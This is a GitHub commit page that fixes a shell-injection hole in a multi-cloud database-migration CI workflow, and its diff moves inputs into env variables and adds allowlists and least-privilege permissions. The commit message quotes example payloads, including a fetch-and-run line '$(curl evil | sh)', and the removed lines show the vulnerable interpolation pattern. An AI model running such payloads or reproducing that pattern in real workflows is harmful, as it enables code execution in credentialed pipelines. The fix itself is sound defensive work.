Skip to content

Commit c2ff4bf

Browse files
committed
sec(ci): stop interpolating migration inputs into run blocks
`database-migration.yml` pasted `${{ inputs.direction }}` and `${{ inputs.steps }}` directly into the shell source of every `migrate-*` job's `run:` block. GitHub substitutes `${{ }}` expressions into the script text before bash ever parses it, so a `steps` value such as `1; touch pwned #` executed as code on the `direction=up` path, which had no guard at all. The `direction=down` path did have a regex guard, but the guard itself ran post-interpolation: `[[ "${{ inputs.steps }}" =~ ^[1-9][0-9]*$ ]]` means the payload is already substituted into the condition before bash evaluates it, so a value like `$(curl evil | sh)` runs as part of evaluating the guard's own `[[ ... ]]` test, before the guard can reject anything. The guard validates the output of an already-executed payload, not the payload itself. Reproduced both cases locally: rendering the pre-fix template with a malicious `steps` value and executing it created a marker file in both the unguarded `up` path and the "rejected" `down` path (the guard printed its refusal and exited 1, but the injected command had already run by then). Changes to database-migration.yml: - Route every `inputs.*` value through `env:` and reference the quoted shell variable, so GitHub only ever substitutes them into a scalar env var assignment, never into script text. No `${{ }}` remains in any `run:` block in this file. Re-running the same payloads through the fixed logic (as real env vars, matching how the runner actually passes them) confirms both are now rejected as inert data with no execution. - Validate `steps` for `direction=up` too, not only `down` (defense in depth, both in `validate` and again in each `migrate-*` job). - Validate the `workflow_call` string inputs (`cloud`, `environment`, `direction`) against an explicit allowlist in `validate`. `workflow_dispatch` constrains these via `type: choice`, enforced server-side, but `workflow_call` typed them as free-form strings with no such enforcement. - Drop `id-token: write` to job level, granted only to the environment-bound `migrate-aws`/`migrate-gcp`/`migrate-azure` jobs. `validate` and `summary` never authenticate to a cloud provider. Also fixed the byte-identical injection in deploy-gcp.yml, deploy-aws-fargate.yml and deploy-azure.yml: each `prepare` job's "Determine environment" step had the exact line `echo "environment=${{ inputs.environment }}" >> $GITHUB_OUTPUT`, already fixed in deploy-aws-lambda.yml by #1657 but left unpatched in these three siblings. Unlike database-migration.yml's migrate-* jobs, `prepare` in these three files is both ungated (no `environment:` binding) and still holds workflow-level `id-token: write`, so this was the more severe ungated-and-credentialed shape. Mirrored the exact pattern #1657 already established and merged: case-based dispatch through `env:` plus the same workflow_call allowlist check. Verified with actionlint (v1.7.12): diffed findings against each unmodified file on origin/main. Zero new findings introduced anywhere; every remaining finding is pre-existing shellcheck debt in code this change does not touch. `act -l` confirms all four job graphs still parse. Closes #1647
1 parent ff808b2 commit c2ff4bf

4 files changed

Lines changed: 249 additions & 89 deletions

File tree

‎.github/workflows/database-migration.yml‎

Lines changed: 180 additions & 68 deletions
Original file line numberDiff line numberDiff line change
@@ -23,8 +23,12 @@
2323

2424
name: Database Migration
2525

26+
# Least privilege by default: only the jobs that actually authenticate to a
27+
# cloud provider get `id-token: write`, and every one of those jobs is bound to
28+
# a deployment environment (`aws-db-<env>`, `gcp-db-<env>`, `azure-db-<env>`).
29+
# `validate` and `summary` never authenticate, so they stay on the `contents:
30+
# read` floor below.
2631
permissions:
27-
id-token: write
2832
contents: read
2933

3034
on:
@@ -77,6 +81,8 @@ jobs:
7781
validate:
7882
name: Validate Migration Request
7983
runs-on: ubuntu-latest
84+
permissions:
85+
contents: read
8086
outputs:
8187
is_safe: ${{ steps.check.outputs.is_safe }}
8288

@@ -89,16 +95,60 @@ jobs:
8995
- name: Safety checks
9096
id: check
9197
env:
98+
CLOUD: ${{ inputs.cloud }}
9299
ENVIRONMENT: ${{ inputs.environment }}
93100
DIRECTION: ${{ inputs.direction }}
94101
STEPS: ${{ inputs.steps }}
95102
CONFIRM: ${{ inputs.confirm }}
96103
run: |
104+
set -uo pipefail
97105
IS_SAFE=true
98106
107+
# `workflow_call` never declares a `steps` input, so on that path this
108+
# renders empty. Treat that the same as the explicit default of "0"
109+
# (apply/rollback everything) rather than rejecting it outright.
110+
STEPS="${STEPS:-0}"
111+
112+
# workflow_dispatch's cloud/environment/direction are `type: choice`,
113+
# enforced server-side before the run starts. workflow_call's are plain
114+
# `type: string` with no such enforcement, so re-validate them here
115+
# against the same allowlist regardless of which trigger fired.
116+
case "$CLOUD" in
117+
aws|gcp|azure|all) ;;
118+
*)
119+
echo "❌ Invalid cloud provider: '$CLOUD' (expected aws, gcp, azure, or all)"
120+
IS_SAFE=false
121+
;;
122+
esac
123+
124+
case "$ENVIRONMENT" in
125+
dev|staging|prod) ;;
126+
*)
127+
echo "❌ Invalid environment: '$ENVIRONMENT' (expected dev, staging, or prod)"
128+
IS_SAFE=false
129+
;;
130+
esac
131+
132+
case "$DIRECTION" in
133+
up|down) ;;
134+
*)
135+
echo "❌ Invalid direction: '$DIRECTION' (expected up or down)"
136+
IS_SAFE=false
137+
;;
138+
esac
139+
99140
# Check if migrations directory exists
100-
if [ ! -d "${{ env.MIGRATIONS_PATH }}" ]; then
101-
echo "❌ Migrations directory not found: ${{ env.MIGRATIONS_PATH }}"
141+
if [ ! -d "$MIGRATIONS_PATH" ]; then
142+
echo "❌ Migrations directory not found: $MIGRATIONS_PATH"
143+
IS_SAFE=false
144+
fi
145+
146+
# `steps` must be a non-negative integer regardless of direction: 0
147+
# means "everything" for direction=up, and direction=down requires an
148+
# explicit positive value (checked separately below). Reject anything
149+
# else before it can reach a migrate invocation in either direction.
150+
if ! [[ "$STEPS" =~ ^(0|[1-9][0-9]*)$ ]]; then
151+
echo "❌ 'steps' must be a non-negative integer (got '$STEPS')."
102152
IS_SAFE=false
103153
fi
104154
@@ -107,7 +157,7 @@ jobs:
107157
# entire schema, so it is rejected here for direction=down.
108158
if [[ "$DIRECTION" == "down" ]]; then
109159
if ! [[ "$STEPS" =~ ^[1-9][0-9]*$ ]]; then
110-
echo "❌ direction=down requires an explicit positive 'steps' value (got '${STEPS:-<empty>}')."
160+
echo "❌ direction=down requires an explicit positive 'steps' value (got '$STEPS')."
111161
echo "Rolling back ALL migrations at once is not supported by this workflow."
112162
IS_SAFE=false
113163
fi
@@ -124,40 +174,48 @@ jobs:
124174
fi
125175
126176
# Check migration files
127-
if [ -d "${{ env.MIGRATIONS_PATH }}" ]; then
128-
UP_COUNT=$(ls -1 ${{ env.MIGRATIONS_PATH }}/*.up.sql 2>/dev/null | wc -l)
129-
DOWN_COUNT=$(ls -1 ${{ env.MIGRATIONS_PATH }}/*.down.sql 2>/dev/null | wc -l)
177+
if [ -d "$MIGRATIONS_PATH" ]; then
178+
UP_COUNT=$(ls -1 "$MIGRATIONS_PATH"/*.up.sql 2>/dev/null | wc -l)
179+
DOWN_COUNT=$(ls -1 "$MIGRATIONS_PATH"/*.down.sql 2>/dev/null | wc -l)
130180
131181
echo "Migration files found:"
132182
echo " Up migrations: $UP_COUNT"
133183
echo " Down migrations: $DOWN_COUNT"
134184
135-
if [ $UP_COUNT -eq 0 ]; then
185+
if [ "$UP_COUNT" -eq 0 ]; then
136186
echo "❌ No migration files found"
137187
IS_SAFE=false
138188
fi
139189
fi
140190
141-
echo "is_safe=$IS_SAFE" >> $GITHUB_OUTPUT
191+
echo "is_safe=$IS_SAFE" >> "$GITHUB_OUTPUT"
142192
143193
if [[ "$IS_SAFE" != "true" ]]; then
144194
echo "Validation failed; refusing to run migrations."
145195
exit 1
146196
fi
147197
148198
- name: Display migration plan
199+
env:
200+
CLOUD: ${{ inputs.cloud }}
201+
ENVIRONMENT: ${{ inputs.environment }}
202+
DIRECTION: ${{ inputs.direction }}
203+
STEPS: ${{ inputs.steps || 'all' }}
149204
run: |
150-
echo "## Database Migration Plan" >> $GITHUB_STEP_SUMMARY
151-
echo "" >> $GITHUB_STEP_SUMMARY
152-
echo "**Cloud:** ${{ inputs.cloud }}" >> $GITHUB_STEP_SUMMARY
153-
echo "**Environment:** ${{ inputs.environment }}" >> $GITHUB_STEP_SUMMARY
154-
echo "**Direction:** ${{ inputs.direction }}" >> $GITHUB_STEP_SUMMARY
155-
echo "**Steps:** ${{ inputs.steps || 'all' }}" >> $GITHUB_STEP_SUMMARY
156-
echo "" >> $GITHUB_STEP_SUMMARY
157-
158-
if [[ "${{ inputs.environment }}" == "prod" ]] && [[ "${{ inputs.direction }}" == "down" ]]; then
159-
echo "⚠️ **WARNING:** This will rollback migrations on PRODUCTION!" >> $GITHUB_STEP_SUMMARY
160-
fi
205+
set -uo pipefail
206+
{
207+
echo "## Database Migration Plan"
208+
echo ""
209+
echo "**Cloud:** $CLOUD"
210+
echo "**Environment:** $ENVIRONMENT"
211+
echo "**Direction:** $DIRECTION"
212+
echo "**Steps:** $STEPS"
213+
echo ""
214+
215+
if [[ "$ENVIRONMENT" == "prod" ]] && [[ "$DIRECTION" == "down" ]]; then
216+
echo "⚠️ **WARNING:** This will rollback migrations on PRODUCTION!"
217+
fi
218+
} >> "$GITHUB_STEP_SUMMARY"
161219
162220
# Run AWS migrations
163221
migrate-aws:
@@ -167,6 +225,9 @@ jobs:
167225
if: |
168226
needs.validate.outputs.is_safe == 'true' &&
169227
(inputs.cloud == 'aws' || inputs.cloud == 'all')
228+
permissions:
229+
id-token: write
230+
contents: read
170231
environment:
171232
name: aws-db-${{ inputs.environment }}
172233

@@ -205,35 +266,50 @@ jobs:
205266
- name: Run migrations
206267
env:
207268
DB_PASSWORD: ${{ secrets.DB_PASSWORD_AWS }}
269+
DB_ENDPOINT: ${{ steps.get-endpoint.outputs.endpoint }}
270+
DIRECTION: ${{ inputs.direction }}
271+
STEPS: ${{ inputs.steps }}
208272
run: |
209-
DB_URL="postgresql://cudly:${DB_PASSWORD}@${{ steps.get-endpoint.outputs.endpoint }}:5432/cudly?sslmode=require"
210-
211-
if [[ "${{ inputs.direction }}" == "up" ]]; then
212-
if [[ "${{ inputs.steps }}" == "0" ]]; then
273+
set -uo pipefail
274+
DB_URL="postgresql://cudly:${DB_PASSWORD}@${DB_ENDPOINT}:5432/cudly?sslmode=require"
275+
276+
# `validate` already rejects a malformed `steps`/`direction` before this
277+
# job is ever reached, but this job sits behind an environment gate and
278+
# is the thing that actually runs `migrate`, so the checks are repeated
279+
# here against the re-parsed shell variable as defense in depth.
280+
STEPS="${STEPS:-0}"
281+
282+
if [[ "$DIRECTION" == "up" ]]; then
283+
if ! [[ "$STEPS" =~ ^(0|[1-9][0-9]*)$ ]]; then
284+
echo "❌ 'steps' must be a non-negative integer (got '$STEPS')."
285+
exit 1
286+
fi
287+
if [[ "$STEPS" == "0" ]]; then
213288
echo "Applying all pending migrations..."
214-
migrate -path ${{ env.MIGRATIONS_PATH }} -database "$DB_URL" up
289+
migrate -path "$MIGRATIONS_PATH" -database "$DB_URL" up
215290
else
216-
echo "Applying ${{ inputs.steps }} migration(s)..."
217-
migrate -path ${{ env.MIGRATIONS_PATH }} -database "$DB_URL" up ${{ inputs.steps }}
291+
echo "Applying $STEPS migration(s)..."
292+
migrate -path "$MIGRATIONS_PATH" -database "$DB_URL" up "$STEPS"
218293
fi
219294
else
220-
# Defense in depth: validate already rejects this, but never run 'down -all'.
221-
if ! [[ "${{ inputs.steps }}" =~ ^[1-9][0-9]*$ ]]; then
295+
if ! [[ "$STEPS" =~ ^[1-9][0-9]*$ ]]; then
222296
echo "❌ Refusing to roll back without an explicit positive 'steps' value."
223297
exit 1
224298
fi
225-
echo "Rolling back ${{ inputs.steps }} migration(s)..."
226-
migrate -path ${{ env.MIGRATIONS_PATH }} -database "$DB_URL" down ${{ inputs.steps }}
299+
echo "Rolling back $STEPS migration(s)..."
300+
migrate -path "$MIGRATIONS_PATH" -database "$DB_URL" down "$STEPS"
227301
fi
228302
229303
- name: Get migration version
230304
env:
231305
DB_PASSWORD: ${{ secrets.DB_PASSWORD_AWS }}
306+
DB_ENDPOINT: ${{ steps.get-endpoint.outputs.endpoint }}
232307
run: |
233-
DB_URL="postgresql://cudly:${DB_PASSWORD}@${{ steps.get-endpoint.outputs.endpoint }}:5432/cudly?sslmode=require"
234-
VERSION=$(migrate -path ${{ env.MIGRATIONS_PATH }} -database "$DB_URL" version 2>&1 || echo "unknown")
308+
set -uo pipefail
309+
DB_URL="postgresql://cudly:${DB_PASSWORD}@${DB_ENDPOINT}:5432/cudly?sslmode=require"
310+
VERSION=$(migrate -path "$MIGRATIONS_PATH" -database "$DB_URL" version 2>&1 || echo "unknown")
235311
echo "Current migration version: $VERSION"
236-
echo "MIGRATION_VERSION=$VERSION" >> $GITHUB_ENV
312+
echo "MIGRATION_VERSION=$VERSION" >> "$GITHUB_ENV"
237313
238314
# Run GCP migrations
239315
migrate-gcp:
@@ -243,6 +319,9 @@ jobs:
243319
if: |
244320
needs.validate.outputs.is_safe == 'true' &&
245321
(inputs.cloud == 'gcp' || inputs.cloud == 'all')
322+
permissions:
323+
id-token: write
324+
contents: read
246325
environment:
247326
name: gcp-db-${{ inputs.environment }}
248327

@@ -284,22 +363,31 @@ jobs:
284363
- name: Run migrations
285364
env:
286365
DB_PASSWORD: ${{ secrets.DB_PASSWORD_GCP }}
366+
DB_ENDPOINT: ${{ steps.get-endpoint.outputs.endpoint }}
367+
DIRECTION: ${{ inputs.direction }}
368+
STEPS: ${{ inputs.steps }}
287369
run: |
288-
DB_URL="postgresql://cudly:${DB_PASSWORD}@${{ steps.get-endpoint.outputs.endpoint }}:5432/cudly?sslmode=require"
370+
set -uo pipefail
371+
DB_URL="postgresql://cudly:${DB_PASSWORD}@${DB_ENDPOINT}:5432/cudly?sslmode=require"
289372
290-
if [[ "${{ inputs.direction }}" == "up" ]]; then
291-
if [[ "${{ inputs.steps }}" == "0" ]]; then
292-
migrate -path ${{ env.MIGRATIONS_PATH }} -database "$DB_URL" up
373+
STEPS="${STEPS:-0}"
374+
375+
if [[ "$DIRECTION" == "up" ]]; then
376+
if ! [[ "$STEPS" =~ ^(0|[1-9][0-9]*)$ ]]; then
377+
echo "❌ 'steps' must be a non-negative integer (got '$STEPS')."
378+
exit 1
379+
fi
380+
if [[ "$STEPS" == "0" ]]; then
381+
migrate -path "$MIGRATIONS_PATH" -database "$DB_URL" up
293382
else
294-
migrate -path ${{ env.MIGRATIONS_PATH }} -database "$DB_URL" up ${{ inputs.steps }}
383+
migrate -path "$MIGRATIONS_PATH" -database "$DB_URL" up "$STEPS"
295384
fi
296385
else
297-
# Defense in depth: validate already rejects this, but never run 'down -all'.
298-
if ! [[ "${{ inputs.steps }}" =~ ^[1-9][0-9]*$ ]]; then
386+
if ! [[ "$STEPS" =~ ^[1-9][0-9]*$ ]]; then
299387
echo "❌ Refusing to roll back without an explicit positive 'steps' value."
300388
exit 1
301389
fi
302-
migrate -path ${{ env.MIGRATIONS_PATH }} -database "$DB_URL" down ${{ inputs.steps }}
390+
migrate -path "$MIGRATIONS_PATH" -database "$DB_URL" down "$STEPS"
303391
fi
304392
305393
# Run Azure migrations
@@ -310,6 +398,9 @@ jobs:
310398
if: |
311399
needs.validate.outputs.is_safe == 'true' &&
312400
(inputs.cloud == 'azure' || inputs.cloud == 'all')
401+
permissions:
402+
id-token: write
403+
contents: read
313404
environment:
314405
name: azure-db-${{ inputs.environment }}
315406

@@ -349,51 +440,72 @@ jobs:
349440
- name: Run migrations
350441
env:
351442
DB_PASSWORD: ${{ secrets.DB_PASSWORD_AZURE }}
443+
DB_ENDPOINT: ${{ steps.get-endpoint.outputs.endpoint }}
444+
DIRECTION: ${{ inputs.direction }}
445+
STEPS: ${{ inputs.steps }}
352446
run: |
353-
DB_URL="postgresql://cudly:${DB_PASSWORD}@${{ steps.get-endpoint.outputs.endpoint }}:5432/cudly?sslmode=require"
447+
set -uo pipefail
448+
DB_URL="postgresql://cudly:${DB_PASSWORD}@${DB_ENDPOINT}:5432/cudly?sslmode=require"
354449
355-
if [[ "${{ inputs.direction }}" == "up" ]]; then
356-
if [[ "${{ inputs.steps }}" == "0" ]]; then
357-
migrate -path ${{ env.MIGRATIONS_PATH }} -database "$DB_URL" up
450+
STEPS="${STEPS:-0}"
451+
452+
if [[ "$DIRECTION" == "up" ]]; then
453+
if ! [[ "$STEPS" =~ ^(0|[1-9][0-9]*)$ ]]; then
454+
echo "❌ 'steps' must be a non-negative integer (got '$STEPS')."
455+
exit 1
456+
fi
457+
if [[ "$STEPS" == "0" ]]; then
458+
migrate -path "$MIGRATIONS_PATH" -database "$DB_URL" up
358459
else
359-
migrate -path ${{ env.MIGRATIONS_PATH }} -database "$DB_URL" up ${{ inputs.steps }}
460+
migrate -path "$MIGRATIONS_PATH" -database "$DB_URL" up "$STEPS"
360461
fi
361462
else
362-
# Defense in depth: validate already rejects this, but never run 'down -all'.
363-
if ! [[ "${{ inputs.steps }}" =~ ^[1-9][0-9]*$ ]]; then
463+
if ! [[ "$STEPS" =~ ^[1-9][0-9]*$ ]]; then
364464
echo "❌ Refusing to roll back without an explicit positive 'steps' value."
365465
exit 1
366466
fi
367-
migrate -path ${{ env.MIGRATIONS_PATH }} -database "$DB_URL" down ${{ inputs.steps }}
467+
migrate -path "$MIGRATIONS_PATH" -database "$DB_URL" down "$STEPS"
368468
fi
369469
370470
# Summary
371471
summary:
372472
name: Migration Summary
373473
runs-on: ubuntu-latest
474+
permissions:
475+
contents: read
374476
needs: [validate, migrate-aws, migrate-gcp, migrate-azure]
375477
if: always()
376478

377479
steps:
378480
- name: Post summary
481+
env:
482+
CLOUD: ${{ inputs.cloud }}
483+
ENVIRONMENT: ${{ inputs.environment }}
484+
DIRECTION: ${{ inputs.direction }}
485+
RESULT_AWS: ${{ needs.migrate-aws.result }}
486+
RESULT_GCP: ${{ needs.migrate-gcp.result }}
487+
RESULT_AZURE: ${{ needs.migrate-azure.result }}
379488
run: |
380-
echo "## Database Migration Results" >> $GITHUB_STEP_SUMMARY
381-
echo "" >> $GITHUB_STEP_SUMMARY
382-
echo "**Cloud:** ${{ inputs.cloud }}" >> $GITHUB_STEP_SUMMARY
383-
echo "**Environment:** ${{ inputs.environment }}" >> $GITHUB_STEP_SUMMARY
384-
echo "**Direction:** ${{ inputs.direction }}" >> $GITHUB_STEP_SUMMARY
385-
echo "" >> $GITHUB_STEP_SUMMARY
386-
387-
echo "### Results" >> $GITHUB_STEP_SUMMARY
388-
389-
if [[ "${{ inputs.cloud }}" == "aws" ]] || [[ "${{ inputs.cloud }}" == "all" ]]; then
390-
echo "- AWS: ${{ needs.migrate-aws.result }}" >> $GITHUB_STEP_SUMMARY
391-
fi
489+
set -uo pipefail
490+
{
491+
echo "## Database Migration Results"
492+
echo ""
493+
echo "**Cloud:** $CLOUD"
494+
echo "**Environment:** $ENVIRONMENT"
495+
echo "**Direction:** $DIRECTION"
496+
echo ""
497+
498+
echo "### Results"
499+
500+
if [[ "$CLOUD" == "aws" ]] || [[ "$CLOUD" == "all" ]]; then
501+
echo "- AWS: $RESULT_AWS"
502+
fi
392503
393-
if [[ "${{ inputs.cloud }}" == "gcp" ]] || [[ "${{ inputs.cloud }}" == "all" ]]; then
394-
echo "- GCP: ${{ needs.migrate-gcp.result }}" >> $GITHUB_STEP_SUMMARY
395-
fi
504+
if [[ "$CLOUD" == "gcp" ]] || [[ "$CLOUD" == "all" ]]; then
505+
echo "- GCP: $RESULT_GCP"
506+
fi
396507
397-
if [[ "${{ inputs.cloud }}" == "azure" ]] || [[ "${{ inputs.cloud }}" == "all" ]]; then
398-
echo "- Azure: ${{ needs.migrate-azure.result }}" >> $GITHUB_STEP_SUMMARY
399-
fi
508+
if [[ "$CLOUD" == "azure" ]] || [[ "$CLOUD" == "all" ]]; then
509+
echo "- Azure: $RESULT_AZURE"
510+
fi
511+
} >> "$GITHUB_STEP_SUMMARY"

0 commit comments

Comments
 (0)